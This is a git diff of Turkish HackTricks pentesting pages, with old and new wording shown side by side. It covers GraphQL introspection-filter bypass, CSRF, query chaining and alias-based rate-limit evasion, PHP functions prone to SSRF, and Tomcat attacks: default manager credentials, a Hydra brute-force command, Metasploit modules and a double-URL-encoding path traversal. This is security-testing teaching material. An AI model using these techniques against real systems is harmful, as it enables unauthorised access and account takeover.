[**GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir**](https://github.com/Escape-Technologies/graphql-wordlist?). [**GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir**](https://github.com/Escape-Technologies/graphql-wordlist?).
### GraphQL introspection savunmalarınıma <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a> ### GraphQL İntrospeksiyon Savunmalarını Atlatma <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
### **GraphQL Introspection Savunmalarınıma** ### **GraphQL İntrospeksiyon Savunmalarını Atlatma**
API'lerde introspection sorgularına getirilen kısıtlamaları aşmak için, `__schema` anahtarından sonra **özel bir karakter eklemek** etkilidir. Bu yöntem, introspection'ı engellemek için `__schema` anahtarına odaklanan regex desenlerinde yaygın olarak görülen geliştirici hatalarını sömürür. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmamış olabilecek karakterler olan **boşluklar, yeni satırlar ve virgüller** ekleyerek kısıtlamaları atlayabilirsiniz. Örneğin, `__schema`'dan sonra bir satır sonu ekleyen bir introspection sorgusu, bu tür savunmaları atlayabilir: API'lerde introspeksiyon sorgularına getirilen kısıtlamaları atlamak için, `__schema` kelimesinden sonra **özel bir karakter eklemek** etkili olabilir. Bu yöntem, introspeksiyonu engellemeyi amaçlayan regex desenlerinde yaygın geliştirici hatalarını sömürür. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmamış olabilecek karakterler ekleyerek, kısıtlamalar atlatılabilir. Örneğin, `__schema`'dan sonra bir satır sonu ekleyen bir introspeksiyon sorgusu, bu tür savunmaları atlayabilir:
```bash ```bash
# Example with newline to bypass # Example with newline to bypass
{ {
@ -376,11 +382,11 @@ API'lerde introspection sorgularına getirilen kısıtlamaları aşmak için, `_
{queryType{name}}}" {queryType{name}}}"
} }
``` ```
Başarısız olursanız, yalnızca POST isteklerine uygulanan kısıtlamalar nedeniyle **GET istekleri** veya **`x-www-form-urlencoded` ile POST** gibi alternatif istek yöntemlerini düşünün. Eğer başarısız olursanız, yalnızca POST isteklerine kısıtlamalar uygulanmış olabileceğinden **GET istekleri** veya **`x-www-form-urlencoded` ile POST** gibi alternatif istek yöntemlerini düşünebilirsiniz.
### **Açığa Çıkmış GraphQL Yapılarını Keşfetme** ### **Açığa Çıkarılmış GraphQL Yapılarını Keşfetme**
Introspection devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları incelemek, web sitesinin kaynak kodunu incelemek için kullanışlı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Kaynaklar` sekmesi kullanılarak bulunabilir ve API'nin şeması hakkında bilgi sağlayabilir, potansiyel olarak **açığa çıkmış hassas sorguları** ortaya çıkarabilir. Geliştirici araçları içinde arama yapmak için kullanılan komutlar: İntrospeksiyon devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları incelemek yararlı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Kaynaklar` sekmesi kullanılarak bulunabilir ve API'nin şeması hakkında bilgi sağlayarak potansiyel olarak **açığa çıkarılmış hassas sorguları** ortaya çıkarabilir. Geliştirici araçları içinde arama yapmak için kullanılan komutlar:
```javascript ```javascript
Inspect/Sources/"Search all files" Inspect/Sources/"Search all files"
file:* mutation file:* mutation
@ -388,39 +394,39 @@ file:* query
``` ```
## GraphQL'de CSRF ## GraphQL'de CSRF
CSRF'nin ne olduğunu bilmiyorsanız, aşağıdaki sayfayı okuyun: CSRF nedir bilmiyorsanız aşağıdaki sayfayı okuyun:
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} {% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %} {% endcontent-ref %}
Orada, **CSRF belirteçleri olmadan yapılandırılmış** birçok GraphQL uç noktası bulabileceksiniz. Dışarıda, **CSRF tokenları olmadan yapılandırılmış** birkaç GraphQL uç noktası bulabileceksiniz.
GraphQL istekleri genellikle **`application/json`** içerik türünü kullanarak POST istekleri aracılığıyla gönderilir. GraphQL istekleri genellikle **`application/json`** Content-Type'ı kullanılarak POST istekleri aracılığıyla gönderilir.
```javascript ```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
``` ```
Ancak, çoğu GraphQL uç noktası ayrıca **`form-urlencoded` POST isteklerini** destekler: Ancak, çoğu GraphQL uç noktası ayrıca **`form-urlencoded` POST isteklerini de destekler:**
```javascript ```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
``` ```
Bu nedenle, önceki gibi CSRF istekleri **önişlem istekleri olmadan** gönderildiğinden, bir CSRF'yi istismar ederek GraphQL'de **değişiklikler yapmak mümkündür**. Bu nedenle, önceki gibi CSRF istekleri **önişlem istekleri olmadan** gönderildiğinden, bir CSRF'yi kötüye kullanarak GraphQL'de **değişiklikler** yapmak mümkündür.
Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax` olduğunu unutmayın. Bu, çerezin yalnızca GET isteklerinde üçüncü taraf bir web sitesinden gönderileceği anlamına gelir. Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax` olduğuna dikkat edin. Bu, çerezin yalnızca üçüncü taraf web sitelerinden GET isteklerinde gönderileceği anlamına gelir.
Ayrıca, **sorgu isteğini** **GET** **isteği** olarak da göndermek genellikle mümkündür ve CSRF belirteci GET isteğinde doğrulanmayabilir. Ayrıca, **sorgu** isteğinin bir **GET** isteği olarak da gönderilebileceğini ve CSRF belirtecinin GET isteğinde doğrulanmamış olabileceğini unutmayın.
Ayrıca, kullanıcının kimlik bilgilerini istismar ederek GraphQL uç noktasından içerik sızdırmak için [**XS-Search**](../../pentesting-web/xs-search.md) **saldırısını** kullanmak da mümkün olabilir. Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search.md) **saldırısını** kötüye kullanarak kullanıcının kimlik bilgilerini kötüye kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir.
Daha fazla bilgi için [**buradaki orijinal yazıya**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html) bakın. Daha fazla bilgi için **buradaki** [**orijinal yazıya**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html) **bakın**.
## GraphQL'de Yetkilendirme ## GraphQL'de Yetkilendirme
Uç noktada tanımlanan birçok GraphQL işlevi, yalnızca istemcinin kimlik doğrulamasını kontrol edebilir, ancak yetkilendirmeyi kontrol etmeyebilir. Uç noktada tanımlanan birçok GraphQL işlevi, yalnızca istekte bulunanın kimlik doğrulamasını kontrol edebilir ancak yetkilendirmeyi kontrol etmeyebilir.
Sorgu giriş değişkenlerini değiştirmek, hassas hesap ayrıntılarının [sızdırılmasına](https://hackerone.com/reports/792927) neden olabilir. Sorgu giriş değişkenlerinin değiştirilmesi, hassas hesap ayrıntılarına yol açabilir [sızdırıldı](https://hackerone.com/reports/792927).
Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hesap ele geçirmeye bile yol açabilir. Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hatta hesap ele geçirmeye yol açabilir.
```javascript ```javascript
{ {
"operationName":"updateProfile", "operationName":"updateProfile",
@ -428,23 +434,23 @@ Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hesap ele geçir
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
} }
``` ```
### GraphQL'de yetkilendirme atlamak ### GraphQL'de Yetkilendirme Atlatma
[Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) zayıf bir yetkilendirme sistemi atlayabilir. [Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) zayıf bir kimlik doğrulama sistemini atlayabilir.
Aşağıdaki örnekte, işlemin "forgotPassword" olduğunu ve yalnızca onunla ilişkili forgotPassword sorgusunun çalıştırılması gerektiğini görebilirsiniz. Bu, sona bir sorgu ekleyerek atlatılabilir, bu durumda "register" ve sistem tarafından yeni bir kullanıcı olarak kaydedilmek üzere bir kullanıcı değişkeni ekliyoruz. Aşağıdaki örnekte işlemin "forgotPassword" olduğunu ve yalnızca buna ilişkin forgotPassword sorgusunun yürütülmesi gerektiğini görebilirsiniz. Bu, sona bir sorgu ekleyerek atlatılabilir, bu durumda "register" ve sisteme yeni bir kullanıcı olarak kaydedilmesi için bir kullanıcı değişkeni ekliyoruz.
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## GraphQL'de Takma Adları Kullanarak Hız Sınırlarını Atlatma ## GraphQL'de Aliases Kullanarak Sınırı Atlatma
GraphQL'de, takma adlar, bir API isteği yapılırken özelliklerin **açıkça adlandırılmasına** olanak sağlayan güçlü bir özelliktir. Bu yetenek, tek bir istek içinde aynı türden **çoklu örneği** almak için özellikle kullanışlıdır. Takma adlar, GraphQL nesnelerinin aynı isme sahip birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir. GraphQL'de, alias'ler API isteği yapılırken özelliklerin **açıkça adlandırılmasına** olanak tanıyan güçlü bir özelliktir. Bu yetenek, tek bir istekte **aynı türdeki nesnelerin birden fazla örneğini** almak için özellikle kullanışlıdır. Alias'ler, GraphQL nesnelerinin aynı ada sahip birden fazla özelliğe sahip olmasını engelleyen kısıtlamayı aşmak için kullanılabilir.
GraphQL takma adları hakkında ayrıntılı bir anlayış için aşağıdaki kaynak önerilir: [Takma Adlar](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). GraphQL alias'lerinin detaylı anlaşılması için aşağıdaki kaynak önerilir: [Alias'ler](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Takma adların temel amacı, çok sayıda API çağrısına gerek duymadan yapılmasını sağlamaktır, ancak takma adların kullanılabileceği istenmeyen bir kullanım durumu tespit edilmiştir. Takma adlar, GraphQL uç noktasında brute force saldırılarını gerçekleştirmek için kullanılabilir. Bu, bazı uç noktaların, HTTP isteklerinin sayısını sınırlayarak brute force saldırılarını engellemek için tasarlanmış hız sınırlayıcılarla korunduğu anlamına gelir. Bununla birlikte, bu hız sınırlayıcılar her istekteki işlemlerin sayısını hesaba katmayabilir. Takma adlar, birden fazla sorguyu tek bir HTTP isteğine dahil etme olanağı sağladığından, bu tür hız sınırlama önlemlerini atlayabilir. Alias'lerin asıl amacı birçok API çağrısına gerek duymayı azaltmaktır, ancak alias'lerin yanlışlıkla kullanılabileceği bir durum tespit edilmiştir: alias'ler, GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabilir. Bu, bazı uç noktaların kaba kuvvet saldırılarını sınırlayarak **HTTP isteklerinin sayısını** kısıtlayan hız sınırlayıcılarla korunduğu için mümkündür. Bununla birlikte, bu hız sınırlayıcılar her istekteki işlemlerin sayısını hesaba katmayabilir. Alias'ler, bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiği için bu tür hız sınırlama önlemlerini atlayabilir.
Aşağıdaki örnek, takma adlı sorguların mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini göstermektedir. Bu yöntem, bir HTTP isteğine birden çok sorgu derleyerek hız sınırlamasını atlamaya olanak sağladığından, potansiyel olarak birçok indirim kodunun aynı anda doğrulanmasına izin verebilir. Aşağıdaki örnekte, alias'li sorguların mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceği gösterilmektedir. Bu yöntem, birçok indirim kodunun aynı anda doğrulanmasına izin vererek hız sınırlamayı atlayabilir.
```bash ```bash
# Example of a request utilizing aliased queries to check for valid discount codes # Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) { query isValidDiscount($code: Int) {
@ -461,24 +467,24 @@ valid
``` ```
## Araçlar ## Araçlar
### Zayıflık tarama araçları ### Zayıflık tarayıcıları
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirme testi yapmak, şemaları brute force etmek ve belirli bir türe giden yolları bulmak için kullanılabilen bir araç takımı. * [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirme testi yapmak, şemaları kaba kuvvet uygulamak ve belirli bir türe giden yolları bulmak için kullanılabilen bir araç seti.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Bağımsız olarak veya [Burp eklentisi](https://github.com/doyensec/inql) olarak kullanılabilir. * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Bağımsız olarak veya [Burp uzantısı](https://github.com/doyensec/inql) olarak kullanılabilir.
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Saldırıları otomatikleştirmek için CLI istemcisi olarak da kullanılabilir. * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Saldırıları otomatikleştirmek için CLI istemcisi olarak da kullanılabilir.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını listeleyen bir araç. * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını listeleyen bir araç.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testleri için Burp eklentisi. InQL v5.0'ın çekirdeği olan _**Scanner**_ ile bir GraphQL uç noktasını veya yerel bir tanıtım şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve mutasyonları otomatik olarak oluşturur ve analiz için yapılandırılmış bir görünümde düzenler. _**Attacker**_ bileşeni, kötü bir şekilde uygulanmış hız sınırlarını atlamak için kullanışlı olabilecek toplu GraphQL saldırıları çalıştırmanıza olanak tanır. * [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_, InQL v5.0'ın çekirdeğidir, burada bir GraphQL uç noktasını veya yerel bir içgörü şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve mutasyonları otomatik olarak oluşturur ve analiziniz için yapılandırılmış bir görünüme yerleştirir. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlarını atlamak için kullanışlı olabilecek toplu GraphQL saldırıları çalıştırmanıza olanak tanır.
### İstemciler ### İstemciler
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Grafiksel kullanıcı arayüzü (GUI) istemcisi * [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI istemcisi
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Grafiksel kullanıcı arayüzü (GUI) istemcisi * [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI İstemcisi
### Otomatik Testler ### Otomatik Testler
{% embed url="https://graphql-dashboard.herokuapp.com/" %} {% embed url="https://graphql-dashboard.herokuapp.com/" %}
* AutoGraphQL'i açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) * AutoGraphQL'yi açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## Referanslar ## Referanslar
@ -492,14 +498,14 @@ valid
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>ile sıfırdan kahraman olmak için AWS hackleme öğrenin</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live). * **💬 [Discord grubuna katılın](https://discord.gg/hRep4RUj7f)** veya [telegram grubuna katılın](https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**. * **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
</details> </details>

View file

@ -10,13 +10,13 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları:
### SSRF PHP fonksiyonları ### SSRF PHP fonksiyonları
**file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, **kullanıcının veriyi kontrol edebildiği durumlarda** giriş olarak URL'leri kabul eder ve takip eder, bu da **mümkün olan SSRF zafiyetlerine** yol açabilir: **file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, kullanıcı veriyi kontrol edebiliyorsa **mümkün olan SSRF zafiyetlerini** oluşturabilecek URL'leri girdi olarak kabul eder.
```php ```php
file_get_contents("http://127.0.0.1:8081"); file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r"); fopen("http://127.0.0.1:8081", "r");
@ -70,21 +70,21 @@ $file = file_get_contents($url, false, $context);
``` ```
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -4,17 +4,17 @@
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.** * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -37,7 +37,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
### **Yönetici Dosyaları Konumu** ### **Yönetici Dosyaları Konumu**
**`/manager`** ve **`/host-manager`** dizinlerinin tam konumlarını belirlemek önemlidir çünkü isimleri değiştirilmiş olabilir. Bu sayfaları bulmak için kaba kuvvet araması önerilir. **`/manager`** ve **`/host-manager`** dizinlerinin tam konumlarını belirlemek önemlidir, çünkü isimleri değiştirilmiş olabilir. Bu sayfaları bulmak için kaba kuvvet araması önerilir.
### **Kullanıcı Adı Numaralandırma** ### **Kullanıcı Adı Numaralandırma**
@ -47,7 +47,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **Varsayılan Kimlik Bilgileri** ### **Varsayılan Kimlik Bilgileri**
**`/manager/html`** dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenmesine ve dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin temel HTTP kimlik doğrulaması ile korunmaktadır ve yaygın kimlik bilgileri şunlardır: **`/manager/html`** dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenip dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin temel HTTP kimlik doğrulaması ile korunmaktadır ve yaygın kimlik bilgileri şunlardır:
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -56,11 +56,11 @@ msf> use auxiliary/scanner/http/tomcat_enum
* tomcat:s3cr3t * tomcat:s3cr3t
* admin:tomcat * admin:tomcat
Bu kimlik bilgileri şu şekilde test edilebilir: Bu kimlik bilgileri aşağıdaki komut kullanılarak test edilebilir:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
Başka dikkate değer bir dizin **`/manager/status`** 'dir, bu Tomcat ve işletim sistemi sürümünü gösterir ve zafiyet tespitine yardımcı olur. Başka dikkate değer bir dizin **`/manager/status`** 'dir, bu dizin Tomcat ve işletim sistemi sürümünü gösterir ve zafiyet tespitine yardımcı olur.
### **Kaba Kuvvet Saldırısı** ### **Kaba Kuvvet Saldırısı**
@ -72,17 +72,17 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
### **Şifre Geri İzleme Açığı** ### **Şifre Geri İzleme Açığı**
`/auth.jsp`'ye erişmek şanslı durumlarda şifreyi geri izleme altında ortaya çıkarabilir. `/auth.jsp`'ye erişmek şanslı durumlarda şifreyi geri izlemek için bir fırsat sunabilir.
### **Çift URL Kodlama** ### **Çift URL Kodlama**
`mod_jk` içindeki CVE-2007-1860 zayıflığı, çift URL kodlama yol geçişi sağlar ve özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır. `mod_jk` içindeki CVE-2007-1860 ığı, çift URL kodlama yol gezintisi sağlayarak özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır.
Tomcat yönetim webine erişmek için: `pathTomcat/%252E%252E/manager/html` Tomcat yönetim web arayüzüne erişmek için: `pathTomcat/%252E%252E/manager/html`
### /örnekler ### /örnekler
